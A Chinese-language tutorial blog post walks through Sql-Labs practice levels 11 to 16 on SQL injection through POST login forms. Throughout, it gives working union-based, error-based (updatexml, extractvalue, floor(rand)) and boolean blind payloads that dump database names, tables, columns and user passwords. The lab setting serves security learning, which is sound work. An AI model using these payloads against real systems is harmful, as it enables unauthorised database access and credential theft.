基于Sql-Labs靶场的SQL注入-11~16关

2023-11-18

目录

Less-11:基于POST表单提交方式的字符型注入

爆破数据库名

爆破表名 

爆破列名 

爆破字段值 

Less-12:基于POST表单提交方式的字符型注入 

Less-13:基于POST表单提交方式的报错注入

爆破数据库名

爆破表名 

爆破列名 

爆破字段值 

Less-14:基于POST表单提交方式的报错注入

Less-15:基于POST表单提交方式的布尔盲注

猜解长度

猜解具体名字

猜解表长度

猜解表名

猜解列名长度 

猜解列名 

猜解字段值 

 Less-16:基于POST表单提交方式的布尔盲注

总结 


Less-11:基于POST表单提交方式的字符型注入


        进入靶场,会发现这一关是POST表单的提交方式,也就是输入账户密码进行提交。前面几关都是GET方法去提交请求,我们都是在网页的URL地址栏进行注入,这里是POST方法提交请求,那么注入点也就在表单的输入框中。

        这里我已经注入成功了,接下来我去讲一下这种POST表单类型的怎么去注入,其实方法和GET方法差不多,只不过输入注入语句的地方不一样了。

        首先要记住我们输入注入语句的地方是在表单里,首先我们输入用户名和密码分别为1-1去测试一下我们输入的东西被带入到数据库中没有。 

        可以看到页面回显了错误,说明我们输入的用户名和密码被带入到数据库后台做出了判断。其实我打完靶场发现,无论是GET方法发送请求还是POST方法发送请求,都必须要和后台数据库连接起来才可以注入,就像GET方法是在URL地址栏中与数据库进行连接,POST表单是在输入框中进行连接。只有当我们输入的东西和数据库有交互才可以在这个地方进行注入。

        其余操作其实和前面几关的基本操作就一样了,首先去测试一下注入点是什么,这里还要注意的就是有些时候他可能只允许你在用户名那一栏进行注入,而在密码栏中对你输入的语句进行了过滤,从而导致你注入不成功,这时候我们可以进行代码审计去看看哪一栏可以注入。要是没有源代码的话就每一栏都试一试。

        在11关中两栏都是可以注入的,都没有进行过滤,我们去测试注入点就可以,我们输入单引号做测试。

        可以看到页面出现报错了,这种情况注入点一般来说就是单引号了。我们输入语句测试数据库中有多少字段。

        在Username输入框输入语句:

1' order by 3 #

        这里注意注释符号是 # 而不是 --+ ,因为后台对注释符--进行了过滤。

        可以看到页面回显没有第三列,我们再去测试。

        在Username输入框输入语句:

1' order by 2 #

        页面回显:

        可以看到页面没有报错,列数为2。接下来去测试显示位。

        在Username输入框输入语句:

1' union select 1,2 #

        页面回显:

        可以看到不仅成功进入了登录成功页面而且给我们回显出来了显示位。

        接下来可以使用联合注入,报错注入,盲注等手段进行数据爆破。这里我采用联合注入。

爆破数据库名


        在Username输入框输入语句:

1' union select 1,database() #

        页面回显:      

        可以看到成功爆破了数据库名。

爆破表名 


         在Username输入框输入语句:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

        页面回显:

        可以看到回显了表名。

爆破列名 


        在Username输入框输入语句:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

        页面回显:

        可以看到成功爆破了列名。

爆破字段值 


         在Username输入框中输入语句:

1' union select 1,group_concat(0x7e,id,0x7e,username,0x7e,password) from users #

        页面回显:

        可以看到成功爆破了字段值。

        至此第十一关就结束了。

Less-12:基于POST表单提交方式的字符型注入 


        这一关注入点为 ")  其余操作都和第11关一样,这里就不在赘述了。

Less-13:基于POST表单提交方式的报错注入


        首先测试这一关的注入点是 ') ,之后测试该数据库有多少列。

        在Username输入框输入语句:

1') order by 3 #

        页面回显:

        

        根据报错发现列数少于三,再去测试二发现该数据库中有两列。之后判断显示位。

        在Username输入框输入语句:

1') union select 1,2 #

        页面回显:

        可以发现虽然我们成功登录了用户,但是没有显示位。没有显示位的情况下要第一时间想到使用报错注入,如果没有报错回显的话再考虑盲注。

        这里我们尝试使用报错注入,我这里使用双查询注入

爆破数据库名


        在Username输入框中输入语句:

1') union select count(*),concat(0x7e,database(),floor(rand(0)*2)) as a from information_schema.tables group by a #

        页面回显:

        可以看到成功爆破了数据库名。

爆破表名 


        因为是报错注入,所以会有输出限制,一般是32位限制,所以要用 limit 函数去限制输出,这里我只演示爆破其中一张表,其余表同理。

        这里我使用 updatexml() 函数报错注入。

        在Username输入框输入语句:

1') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),3) #

        页面回显:

        可以看到爆破了表名为 emails 的表。

爆破列名 


        这里我只爆破表“emalis”中的一个列名。

        这里我使用 extractvalue() 函数报错注入。

        在Username输入框中输入语句:

1') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1))) #

        页面回显:    

        可以看到爆破出了表“emails”中的第一列的列名。

爆破字段值 


         在Username输入语句:

1') and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) #

        页面回显: 

        可以看到页面回显了第一个字段值。

        到这里Less13就结束了。

Less-14:基于POST表单提交方式的报错注入


        第十四关和第十三关只有注入点不一样,第十四关的注入点是 " ,双引号为注入点,换一下注入点就可以了,其余操作同第十三关一样采用报错注入。

Less-15:基于POST表单提交方式的布尔盲注


        经过测试这一关的注入点为 ' ,然后测试列数为2。接下来测试一下显示位。

        输入语句:

1' union select 1,2 #

        页面回显: 

        可以看到虽然成功登录了,但是没有显示位,接下来我们首先尝试报错注入。

        输入语句:

1' and extractvalue(1,concat(0x7e,database())) #

        页面回显:

        可以看到并没有回显报错信息,说明没有报错回显。那就考虑一下盲注,这里观察到页面是有正确登录之后的显示和登录失败的显示的。所以这里考虑使用布尔盲注,如果是不管怎么样都只显示一种结果那就考虑时间盲注。

猜解长度


         输入语句:

1' or length(database())>8 #

        这里要注意的是不能使用关键字 and 了,要使用关键字 or ,因为我们输入的用户名和密码不一定正确,但是关键字 and 是前后都要进行判断是否正确,一旦我们输入的用户名和密码不对的话直接就判定错误了,没有办法执行我们的注入语句,但是 or 不一样,他的意思是前面的或者后面的,有一个正确就可以,就算我们用户名和密码不正确,但是后面的注入语句正确了,也可以。 

        页面回显:        

        可以看到页面还是回显错误,那说明数据库名字长度小于8,我们测试一下7。

        输入语句:

1' or length(database())>7 #

        页面回显:

        可以看到页面回显正常了,说明数据库名字长度大于7,那么数据库名字长度就是8。其余判断长度的方法都一样的。这里不在赘述。

猜解具体名字


        输入语句:

1' or left(database(),1)>'a' #

        页面回显:

        可以看到页面是正常登录的页面,说明数据库名字的第一个字母的ASCII码值是大于字母 'a' 的ASCII码值的。

        输入语句:

1' or left(database(),1)>'z' #

        页面回显:    

        页面回显错误,说明数据库名字的第一个字母的ASCII码值小于字母 'z' 的ASCII码值。通过这样测试最终就可以的猜解到字母是什么。这里不在赘述。

猜解表长度


        输入语句:

1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 #

        页面回显:

        页面回显错误,说明第一张表名字的长度小于6。

        输入语句:

1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 #

         页面回显:         

        可以看到出现了正常登录的界面,说明第一张表名字的长度小于5。所以表名的长度就是6。

猜解表名


         输入语句:

1' or left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'f' #

        页面回显:        

        可以看到页面回显错误,说明该表名名字的第一个字母的ASCII码值小于字母 'f' 的ASCII码值。之后就按照这种方法去测试就可以。这里不再赘述。

猜解列名长度 


        输入语句:

1' or length((select column_name from information_schema.columns where table_name='emails' limit 0,1))>3 #

        页面回显:     

        页面回显错误,说明 'emails' 表的第一列的名字长度小于3。

        输入语句:

1' or length((select column_name from information_schema.columns where table_name='emails' limit 0,1))>1 #

        页面回显:

        页面回显正常,说明 'emails' 表的第一列的名字长度大于1。所以列名长度为2。

猜解列名 


        输入语句:

1' or left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1)>'a' #

        页面回显:        

        可以看到出现了正常登录的界面,说明列名第一个字母的ASCII码值大于字母 'a' 的ASCII码值。

        输入语句

1' or ascii((select column_name from information_schema.columns where table_name='emails' limit 0,1))>127 #

        这条语句我使用了 ascii() 函数,该函数的含义是返回字符串最左边字符的ASCII码值。

        页面回显:

        说明该列名名字的第一个字母的ASCII码值小于127,使用语句测试出来该字母对应的ASCII码值就可以了,这里不在赘述。

猜解字段值 


        输入语句:

1' or left((select id from emails limit 0,1),1)>0 #

        页面回显:

        输入语句:

1' or left((select id from emails limit 0,1),1)>1 #

        页面回显:         

        可以推断第一个字段值是1。其他字段值这里不在赘述,推断方法如上。

        到这里第十五关就结束了。

 

 

 

 Less-16:基于POST表单提交方式的布尔盲注


        这一关和十五关用的方法一样,只不过注入点换成了 ")

总结 


        这里我讲述了POST提交方式的注入方法,用到的注入类型为联合注入、报错注入、布尔盲注三种。 

    

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

基于Sql-Labs靶场的SQL注入-11~16关 的相关文章

  • 在 PHP 字符串中格式化 MySQL 代码

    是否有任何程序 IDE 可以在 PHP 字符串中格式化 MySQL 代码 例如 我使用 PHPStorm IDE 但它无法做到这一点 它对 PHP 和 MYSQL 执行此操作 但不适用于 php 字符串内的 MYSQL 我已准备好使用新的
  • Mysql 时间匹配连接

    我有两个表cpuinfo和jobinfo 我想使用这两种数据创建报告 tabes CREATE TABLE cpuinfo id int 11 NOT NULL AUTO INCREMENT usagetime datetime DEFAU
  • POINT 列上的 MySQL INSERT/UPDATE

    我正在尝试用我国家的地理位置填充我的数据库 我的一张表有 4 个字段 ID PK 纬度 经度和地理点 EDIT SCDBs Punto Geografico SET lat 18 469692 SET lon 63 93212 SET g
  • 在mysql中的单个查询中更新多个表

    我有三个查询 我想要一个 这是我的查询 UPDATE tab1 SET a WHERE id 3 UPDATE tab2 SET b WHERE id 9 UPDATE tab3 SET c WHERE id 5 您可以尝试下面的代码 UP
  • 显示标准化数据

    跟进问题 添加 2 个不同表的总和 https stackoverflow com questions 39717541 adding sum from 2 different tables 我创建了3个表 members videos v
  • 从按日期时间排序的 MySQL 表中获取用户的最后一个条目

    我有一张看起来像这样的桌子 USERNAME DATA DATETIME Jhon text1 2010 06 01 16 29 43 Mike text2 2010 06 01 16 29 22 Silver text3 2010 05
  • 海量记录的bulk_create最佳实践

    I use bulk create将 1 mio 记录插入到新表中 需要 80 秒 Django 只使用一个 CPU 核心 大约 25 CPU 但没有一个核心达到 100 我相信有改进的潜力 这是代码 class Stock models
  • 合并两个 MYSQL SELECT 查询[重复]

    这个问题在这里已经有答案了 可能的重复 如何将两个 Post Category 表 MYSQL SELECT 查询合并为一个 https stackoverflow com questions 12972130 how to combine
  • 只获取倒数第二条记录 - mysql-query

    我有一个如下表记录 my table id rating description 1 0 0 bed 2 1 0 good 3 0 0 bed 4 1 0 good 5 0 0 bed 6 0 0 bed 7 0 0 bed 现在我通过评级
  • 不带 GROUP BY 的聚合查询

    这个查询似乎在我的旧机器上完美运行 但是 在我的 MySQL 5 7 14 和 PHP 5 6 25 的新机器上 它会抛出错误 致命错误 未捕获异常 PDOException 并带有消息 SQLSTATE 42000 语法错误或访问冲突 1
  • PHP PDO 使用 bindParam 第一个参数(不带冒号)[重复]

    这个问题在这里已经有答案了 请检查这个 user id int GET user id sql DELETE FROM users WHERE user id user id query db gt prepare sql query gt
  • 使用Perl/DBI/MySQL/InnoDB查找外键信息

    我想以编程方式查找 MySQL 数据库中特定 InnoDB 表的外键 我正在使用 Perl 我偶然发现 dbh gt foreign key info 我刚刚尝试使用它 但似乎有点错误 它不会返回 ON DELETE 和 ON UPDATE
  • 什么时候应该使用 C++ 而不是 SQL?

    我是一名 C 程序员 偶尔使用 MySQL 来处理数据库 但我的 SQL 知识相当有限 但我肯定愿意改变这一点 目前 我正在尝试仅使用 SQL 查询对数据库中的数据进行分析 但我准备放弃了 转而将数据导入到C 中 用C 代码进行分析 我和同
  • 如果 Row1 = 值 1,则更新其他行

    我有一个小的 php 脚本 用于访问 mySql 数据库 我想在数据库中插入新记录之前查看该数字 值 1 是否等于数据库中的记录 这也在第 1 行 所以我想 查看传入的电话号码是否等于数据库中的电话号码 如果是这样 则必须保持电话号码相同的
  • PHP MySql 百分比

    我的问题是关于百分比 我不是专家 所以我会尽力以更好的方式进行解释 我的 mysql 服务器中有一个表 假设有 700 条记录 如下所示 Name country language Birth Lucy UK EN 1980 Mari Ca
  • MySQL/PDO::quote() 尽管使用 PDO::PARAM_INT 参数,但仍在整数周围加上引号

    无论我传递给什么值 数据类型对 它都会出现 pdo gt quote value type 它总是将其引用为字符串 echo pdo gt quote foo PDO PARAM STR foo as expected echo pdo g
  • 获取带有计数的不同记录

    我有一张桌子personid and msg列 personid msg 1 msg1 2 msg2 2 msg3 3 msg4 1 msg2 我想得到总计msg对于每个personid 我正在尝试这个查询 select distinct
  • Mysql插入表后不显示右单引号(’)

    我有一个名为 测试 的表 我插入了一行 其中包含unicode字符右单引号 0x2019在名称字段中 SQL insert into Testing values Sno Name Address insert into Testing v
  • 通过触发器应用表的列权限

    现在 我有一个名为 Members 的表 其中包含内容 分为联系人数据 银行数据 现在 管理员应该能够创建 更新 删除用户 这些用户保存在另一个表中 该表只能访问管理员 用户应该获得自己的 mysql 用户帐户 管理员还应该能够设置权限 例
  • 内部 while 循环不工作

    这是我项目网页上的代码片段 这里我想显示用户选择的类别 然后想显示属于该类别的主题 在那里 用户可以拥有多个类别 这没有问题 我可以在第一个 while 循环中打印所有这些类别 问题是当我尝试打印主题时 结果只显示一行 但每个类别中有更多主

随机推荐